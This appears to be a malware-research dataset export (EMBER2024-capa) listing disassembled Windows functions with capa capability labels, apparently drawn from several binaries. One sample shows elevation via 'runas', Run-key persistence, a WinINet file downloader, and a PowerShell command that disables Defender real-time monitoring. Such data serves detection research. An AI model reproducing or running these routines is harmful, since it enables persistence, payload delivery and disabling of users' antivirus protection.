joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c68c
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
test rcx, rcx
je 0x14000c6ae
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x14000c6ae
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
cmove rax, rdx
ret

Function at 0x14000c6b0
Capabilities:
Enumerate pe sections

Disassembly:
movzx r8d, word [rcx + 0x14]
movzx r10d, word [rcx + 6]
add r8, 0x18
add r8, rcx
xor r9d, r9d
jmp 0x14000c6de
mov ecx, dword [r8 + 0xc]
cmp edx, ecx
jb 0x14000c6d6
add ecx, dword [r8 + 0x10]
cmp edx, ecx
jb 0x14000c6e7
inc r9w
add r8, 0x28
cmp r9w, r10w
jb 0x14000c6c6
xor eax, eax
ret
mov rax, r8
ret

Function at 0x14000f6e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f72a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f72a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f72a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f72a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f72a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f72c
xor al, al
add rsp, 0x28
ret

Function at 0x140015a14
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140015a83
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140015a83
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140015a83
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140015a83
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140015a83
cmp dword [rcx + 0x84], 0xe
jbe 0x140015a83
cmp dword [rcx + 0xf8], 0
je 0x140015a83
mov ecx, ebx
call fcn.140015b34
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140015910
nop
cmp dword [rbp + 0x20], 0
je 0x140015ad1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140015adc
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140015a14

Function at 0x140015c18
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140015a14
Function at 0x140018ed4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140018f04
xor eax, eax
jmp 0x140018fc7
mov rbp, rbx
cmp word [rax], si
je 0x140018f29
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140018f10
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140018f0c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140018df4
movsxd r14, eax
test eax, eax
jne 0x140018f67
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140018efd
mov rcx, r14
call fcn.1400173f0
mov rdi, rax
test rax, rax
jne 0x140018f80
xor ecx, ecx
call fcn.140017450
jmp 0x140018f5c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140018df4
test eax, eax
jne 0x140018fb1
mov rcx, rdi
call fcn.140017450
jmp 0x140018fbb
xor ecx, ecx
call fcn.140017450
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001e010
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e038
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001e038
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001110e
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x140013e80
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x14002910b]
call fcn.140011622
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop
mov dword [rbp + 0x240], 0x70
lea rax, [rbp + 0x244]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
lea rax, str.runas
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x270], 1
lea rcx, [rbp + 0x240]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140013f53
xor r9d, r9d
lea r8, [0x14001f830]
lea rdx, [0x14001f840]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f0d0]
call fcn.140011550
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret

Function at 0x1400112c6
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x1400136b0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x100], rax
lea rcx, [0x14002910b]
call fcn.140011622
nop
lea r8, [rbp + 8]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140013775
mov rcx, qword [rbp + 0x130]
call fcn.140011122
lea rax, [rax + rax + 2]
mov qword [rbp + 0xf8], rax
mov rcx, qword [rbp + 0x130]
call fcn.140011235
mov rcx, qword [rbp + 0xf8]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyApp
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f3b0]
call fcn.140011550
mov rcx, qword [rbp + 0x100]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x140011361
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
jmp 0x140013930
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x738]
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x14002910b]
call fcn.140011622
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.MyLauncher
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400139c9
xor r9d, r9d
lea r8, [0x14001f830]
lea rdx, [0x14001f9e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x140013af0
mov rcx, qword [rbp + 0x700]
call fcn.140011235
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140013a2e
xor r9d, r9d
lea r8, [0x14001f830]
lea rdx, [0x14001fa60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
jmp 0x140013af0
mov rcx, qword [rbp + 0x708]
call fcn.140011235
lea r8, [0x14001faac]
mov rdx, rax
lea rcx, [rbp + 0x488]
call qword [sym.imp.ucrtbased.dll__wfopen_s]
test eax, eax
jne 0x140013ac0
lea r9, [rbp + 0x44]
mov r8d, 0x400
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140013a96
cmp dword [rbp + 0x44], 0
jbe 0x140013a96
mov eax, dword [rbp + 0x44]
mov r9, qword [rbp + 0x488]
mov r8d, eax
mov edx, 1
lea rcx, [rbp + 0x70]
call qword [sym.imp.ucrtbased.dll_fwrite]
nop
jmp 0x140013a55
mov rcx, qword [rbp + 0x488]
call qword [sym.imp.ucrtbased.dll_fclose]
nop
xor r9d, r9d
lea r8, [0x14001fab8]
lea rdx, [0x14001fac8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
jmp 0x140013ada
xor r9d, r9d
lea r8, [0x14001f830]
lea rdx, [0x14001fb00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f320]
call fcn.140011550
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x6e8]
pop rdi
pop rbp
ret

Function at 0x140011398
Capabilities:
Terminate process

Disassembly:
jmp 0x140016e60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001147e
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400181f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140018210
xor al, al
jmp 0x140018291
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140018223
xor al, al
jmp 0x140018291
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001824d
xor al, al
jmp 0x140018291
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018261
xor al, al
jmp 0x140018291
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018273
xor al, al
jmp 0x140018291
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001828f
xor al, al
jmp 0x140018291
mov al, 1
add rsp, 0x38
ret
Function at 0x1400115b9
Capabilities:
Create process on windows

Disassembly:
jmp 0x1400137e0
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x26
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x148], rax
lea rcx, [0x14002910b]
call fcn.140011622
nop
mov dword [rbp + 0x10], 0x70
lea rax, [rbp + 0x14]
mov rdi, rax
xor eax, eax
mov ecx, 0x6c
rep stosb byte [rdi], al
mov dword [rbp + 0x14], 0x40
mov qword [rbp + 0x18], 0
lea rax, str.runas
mov qword [rbp + 0x20], rax
lea rax, str.powershell.exe
mov qword [rbp + 0x28], rax
lea rax, str._Command__Set_MpPreference__DisableRealtimeMonitoring__true_
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 0
mov dword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x10]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x1400138a7
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400138c1
xor r9d, r9d
lea r8, [0x14001f830]
lea rdx, [0x14001f970]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f150]
call fcn.140011550
mov rcx, qword [rbp + 0x148]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret

Function at 0x1400115cd
Capabilities:
Get token membership

Disassembly:
jmp 0x140013ba0
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14002910b]
call fcn.140011622
nop
mov dword [rbp + 4], 0
mov byte [rbp + 0x24], 0
mov byte [rbp + 0x25], 0
mov byte [rbp + 0x26], 0
mov byte [rbp + 0x27], 0
mov byte [rbp + 0x28], 0
mov byte [rbp + 0x29], 5
lea rax, [rbp + 0x48]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0x24]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140013c6e
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
nop
cmp dword [rbp + 4], 0
je 0x140013c7d
mov byte [rbp + 0x114], 1
jmp 0x140013c84
mov byte [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001eff0]
call fcn.140011550
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001132a
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140015fb0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011654
movzx eax, al
test eax, eax
jne 0x140015fd0
mov ecx, 7
call fcn.14001155a
nop
mov byte [rsp + 0x20], 0
call fcn.140011587
mov byte [rsp + 0x21], al
cmp dword [0x140023b88], 1
jne 0x140015ff4
mov ecx, 7
call fcn.14001155a
nop
jmp 0x14001604c
cmp dword [0x140023b88], 0
jne 0x140016047
mov dword [0x140023b88], 1
lea rdx, [0x14001e660]
lea rcx, [0x14001e330]
call fcn.14001130c
test eax, eax
je 0x140016028
mov eax, 0xff
jmp 0x140016151
lea rdx, [0x14001e220]
lea rcx, [section..rdata]
call fcn.140011573
mov dword [0x140023b88], 2
jmp 0x14001604c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011546
call fcn.1400114a6
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400160a9
mov rcx, qword [rsp + 0x30]
call fcn.140011285
movzx eax, al
test eax, eax
je 0x1400160a9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002a020]
nop
call fcn.1400114e7
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400160dd
mov rcx, qword [rsp + 0x38]
call fcn.140011285
movzx eax, al
test eax, eax
je 0x1400160dd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011604
nop
call fcn.140016200
mov dword [rsp + 0x28], eax
call fcn.14001147e
movzx eax, al
test eax, eax
jne 0x1400160fc
mov ecx, dword [rsp + 0x28]
call fcn.140011082
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001610b
call fcn.140011613
nop
xor edx, edx
mov cl, 1
call fcn.140011262
mov eax, dword [rsp + 0x28]
jmp 0x140016151
add rsp, 0x68
ret
Function at 0x140002740
Capabilities:
Get file size
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x10048
call fcn.140020330
sub rsp, rax
mov r14, r8
mov rbx, rdx
mov rax, qword [0x140038010]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov dword [r8], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor edi, edi
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140002986
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor edi, edi
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002970
mov rbp, qword [sym.imp.KERNEL32.dll_GetFileSize]
xor edi, edi
mov rcx, rsi
xor edx, edx
call rbp
mov r15d, eax
mov rcx, rbx
xor edx, edx
call rbp
cmp r15d, 0xffffffff
je 0x140002970
cmp eax, 0xffffffff
je 0x140002970
mov edi, 1
cmp r15d, eax
jne 0x140002970
mov ebp, r15d
shr ebp, 0xf
je 0x1400028e4
lea rdi, [rsp + 0x8040]
mov r13, qword [sym.imp.KERNEL32.dll_ReadFile]
nop dword [rax]
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov r12, rdi
mov rdx, rdi
mov r8d, 0x8000
lea r9, [rsp + 0x3c]
call r13
xor edi, edi
test eax, eax
je 0x140002970
cmp dword [rsp + 0x3c], 0x8000
jne 0x140002970
mov qword [rsp + 0x20], 0
mov rcx, rbx
lea rdx, [rsp + 0x40]
mov r8d, 0x8000
lea r9, [rsp + 0x3c]
call r13
test eax, eax
je 0x140002970
cmp dword [rsp + 0x3c], 0x8000
jne 0x140002970
mov r8d, 0x8000
mov rdi, r12
mov rcx, r12
lea rdx, [rsp + 0x40]
call fcn.1400100a0
test eax, eax
jne 0x14000296b
add ebp, 0xffffffff
jne 0x140002850
and r15d, 0x7fff
je 0x140002964
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x8040]
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor edi, edi
test eax, eax
je 0x140002970
cmp dword [rsp + 0x3c], r15d
jne 0x140002970
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
lea r9, [rsp + 0x3c]
mov rcx, rbx
mov r8d, r15d
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002970
cmp dword [rsp + 0x3c], r15d
jne 0x140002970
mov r8d, r15d
lea rcx, [rsp + 0x8040]
lea rdx, [rsp + 0x40]
call fcn.1400100a0
mov edi, 1
test eax, eax
jne 0x140002970
mov dword [r14], 1
mov edi, 1
mov rax, rbx
add rax, 1
cmp rax, 2
jb 0x140002986
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
add rax, 1
cmp rax, 2
jb 0x14000299c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400195d0
mov eax, edi
add rsp, 0x10048
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140004500
Capabilities:
Get file version info

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r14, r9
mov r15, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [0x140038010]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor edx, edx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ebp, eax
mov ecx, eax
call fcn.14000e5ac
mov rsi, rax
mov rcx, rbx
xor edx, edx
mov r8d, ebp
mov r9, rax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x14000459e
mov qword [rsp + 0x28], rsi
lea rdx, [0x140031372]
lea r8, [rsp + 0x28]
lea r9, [rsp + 0x24]
mov rcx, rsi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x1400045d5
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
movzx edx, word [rcx + 0xa]
mov dword [rdi], edx
movzx edx, word [rcx + 8]
mov dword [r15], edx
movzx edx, word [rcx + 0xe]
mov dword [r14], edx
movzx ecx, word [rcx + 0xc]
mov dword [rax], ecx
mov edi, 1
jmp 0x140004618
mov eax, dword [0x14003a1b8]
mov ecx, dword [0x140038cbc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14000463c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140039fa8]
lea rdx, str.Could_not_obtain_file_info_of_old_service.____d_
jmp 0x14000460e
mov eax, dword [0x14003a1b8]
mov ecx, dword [0x140038cbc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14000467d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140039fa8]
lea rdx, str.Could_not_query_file_version_info_of_old_service.____d_
mov r8d, eax
call fcn.14000cee0
xor edi, edi
mov rcx, rsi
call fcn.14000e5b4
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400195d0
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [0x14003a1b8]
call fcn.14000e720
cmp dword [0x14003a1b8], 0xffffffff
jne 0x1400045bf
mov qword [0x140039fa8], 0
lea rcx, [0x140002090]
call fcn.14000e8d8
lea rcx, [0x14003a1b8]
call fcn.14000e788
jmp 0x1400045bf
lea rcx, [0x14003a1b8]
call fcn.14000e720
cmp dword [0x14003a1b8], 0xffffffff
jne 0x1400045fa
mov qword [0x140039fa8], 0
lea rcx, [0x140002090]
call fcn.14000e8d8
lea rcx, [0x14003a1b8]
call fcn.14000e788
jmp 0x1400045fa
Function at 0x1400046c0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rax, qword [0x140038010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x1400047a9
mov r14, rax
lea rdx, str.MozillaMaintenance
mov rcx, rax
mov r8d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x1400047ee
mov rdi, rax
lea r8, [rsp + 0x20]
mov rcx, rax
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000477c
xor esi, esi
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
lea r15, [rsp + 0x20]
mov rbx, qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
nop word cs:[rax + rax]
mov ecx, dword [rsp + 0x38]
call r12
cmp dword [rsp + 0x24], 1
je 0x14000477c
mov eax, dword [rsp + 0x38]
lea esi, [rsi + rax]
add esi, 0xa
cmp esi, 0xea60
ja 0x14000477c
mov rcx, rdi
mov rdx, r15
call rbx
test eax, eax
jne 0x140004750
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebx, eax
test eax, eax
jne 0x14000479b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0x430
sete bl
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140004831
mov eax, dword [0x14003a1b8]
mov ecx, dword [0x140038cbc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140004857
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140039fa8]
lea rdx, str.Could_not_open_service_manager.____d_
mov r8d, eax
call fcn.14000cee0
xor ebx, ebx
jmp 0x14000483a
mov eax, dword [0x14003a1b8]
mov ecx, dword [0x140038cbc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140004898
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140039fa8]
lea rdx, str.Could_not_open_service.____d_
mov r8d, eax
call fcn.14000cee0
xor ebx, ebx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400195d0
mov eax, ebx
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x14003a1b8]
call fcn.14000e720
cmp dword [0x14003a1b8], 0xffffffff
jne 0x1400047ce
mov qword [0x140039fa8], 0
lea rcx, [0x140002090]
call fcn.14000e8d8
lea rcx, [0x14003a1b8]
call fcn.14000e788
jmp 0x1400047ce
lea rcx, [0x14003a1b8]
call fcn.14000e720
cmp dword [0x14003a1b8], 0xffffffff
jne 0x140004813
mov qword [0x140039fa8], 0
lea rcx, [0x140002090]
call fcn.14000e8d8
lea rcx, [0x14003a1b8]
call fcn.14000e788
jmp 0x140004813